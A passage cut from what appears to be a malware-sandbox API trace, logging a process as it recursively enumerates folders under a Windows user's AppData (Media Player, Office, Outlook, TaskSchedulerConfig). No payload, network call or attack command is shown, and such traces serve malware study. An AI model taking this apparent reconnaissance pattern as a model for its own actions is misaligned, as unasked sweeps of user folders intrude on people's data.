lpFindFileData=0x6cfe7b0) returned 1 [0070.175] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.175] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.175] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.175] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.175] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.175] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.175] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.175] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.175] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.175] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.175] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.175] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0070.175] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0070.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0070.176] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E", lpFilePart=0x0) returned 0x54 [0070.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0070.176] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fe5270, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa81d4450, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0070.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0070.176] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E", lpFilePart=0x0) returned 0x54 [0070.176] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8a40 [0070.177] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.177] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.177] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.177] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.177] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.177] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.177] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.177] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.177] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.177] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.177] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.177] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.177] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.177] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0070.177] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0070.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0070.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0070.178] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E", lpFilePart=0x0) returned 0x54 [0070.178] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fd8a40 [0070.178] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.178] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.178] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.178] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.178] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.179] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.179] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.179] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.180] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.180] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.180] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.180] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.180] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0070.180] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0070.180] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0070.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0070.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0070.180] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", lpFilePart=0x0) returned 0x4b [0070.180] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8a40 [0070.180] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.181] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.181] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0070.181] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0070.181] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0070.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0070.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.181] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", lpFilePart=0x0) returned 0x45 [0070.181] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.181] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.181] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0070.181] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0070.181] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.181] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player", lpFilePart=0x0) returned 0x36 [0070.181] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Media Player\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.181] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.181] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.182] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.182] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.182] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.182] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.182] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office", lpFilePart=0x0) returned 0x30 [0070.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.182] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\office"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9383f400, ftCreationTime.dwHighDateTime=0x1d2e634, ftLastAccessTime.dwLowDateTime=0x23b504f0, ftLastAccessTime.dwHighDateTime=0x1d2e636, ftLastWriteTime.dwLowDateTime=0x23b504f0, ftLastWriteTime.dwHighDateTime=0x1d2e636, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.182] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office", lpFilePart=0x0) returned 0x30 [0070.182] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.183] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.183] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office\\12.0", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office\\12.0", lpFilePart=0x0) returned 0x35 [0070.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0070.183] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office\\12.0" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\office\\12.0"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9383f400, ftCreationTime.dwHighDateTime=0x1d2e634, ftLastAccessTime.dwLowDateTime=0x9383f400, ftLastAccessTime.dwHighDateTime=0x1d2e634, ftLastWriteTime.dwLowDateTime=0x9383f400, ftLastWriteTime.dwHighDateTime=0x1d2e634, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0070.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.183] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office\\12.0", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office\\12.0", lpFilePart=0x0) returned 0x35 [0070.183] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office\\12.0\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.184] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.184] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office\\12.0", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office\\12.0", lpFilePart=0x0) returned 0x35 [0070.184] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office\\12.0\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.184] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.184] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.184] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office\\ONetConfig", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office\\ONetConfig", lpFilePart=0x0) returned 0x3b [0070.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0070.184] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office\\ONetConfig" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\office\\onetconfig"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x23b504f0, ftCreationTime.dwHighDateTime=0x1d2e636, ftLastAccessTime.dwLowDateTime=0xc92f3290, ftLastAccessTime.dwHighDateTime=0x1d3060f, ftLastWriteTime.dwLowDateTime=0xc92f3290, ftLastWriteTime.dwHighDateTime=0x1d3060f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0070.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.185] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office\\ONetConfig", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office\\ONetConfig", lpFilePart=0x0) returned 0x3b [0070.185] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.194] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0070.195] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office\\ONetConfig", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office\\ONetConfig", lpFilePart=0x0) returned 0x3b [0070.195] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8a40 [0070.195] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0070.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0070.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.196] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office", lpFilePart=0x0) returned 0x30 [0070.196] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Office\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.196] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.196] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.196] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Outlook", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Outlook", lpFilePart=0x0) returned 0x31 [0070.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.196] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Outlook" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\outlook"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa9483500, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0xc27fc600, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0xc27fc600, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.197] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Outlook", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Outlook", lpFilePart=0x0) returned 0x31 [0070.197] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Outlook\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.197] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.197] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Outlook", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Outlook", lpFilePart=0x0) returned 0x31 [0070.197] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Outlook\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.197] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.197] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\TaskSchedulerConfig", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\TaskSchedulerConfig", lpFilePart=0x0) returned 0x3d [0070.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.198] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\TaskSchedulerConfig" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\taskschedulerconfig"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e676b60, ftCreationTime.dwHighDateTime=0x1d2fab1, ftLastAccessTime.dwLowDateTime=0x7e676b60, ftLastAccessTime.dwHighDateTime=0x1d2fab1, ftLastWriteTime.dwLowDateTime=0x7e676b60, ftLastWriteTime.dwHighDateTime=0x1d2fab1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.203] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\TaskSchedulerConfig", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\TaskSchedulerConfig", lpFilePart=0x0) returned 0x3d [0070.203] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\TaskSchedulerConfig\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.203] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.203] GetFullPathNameW (in: 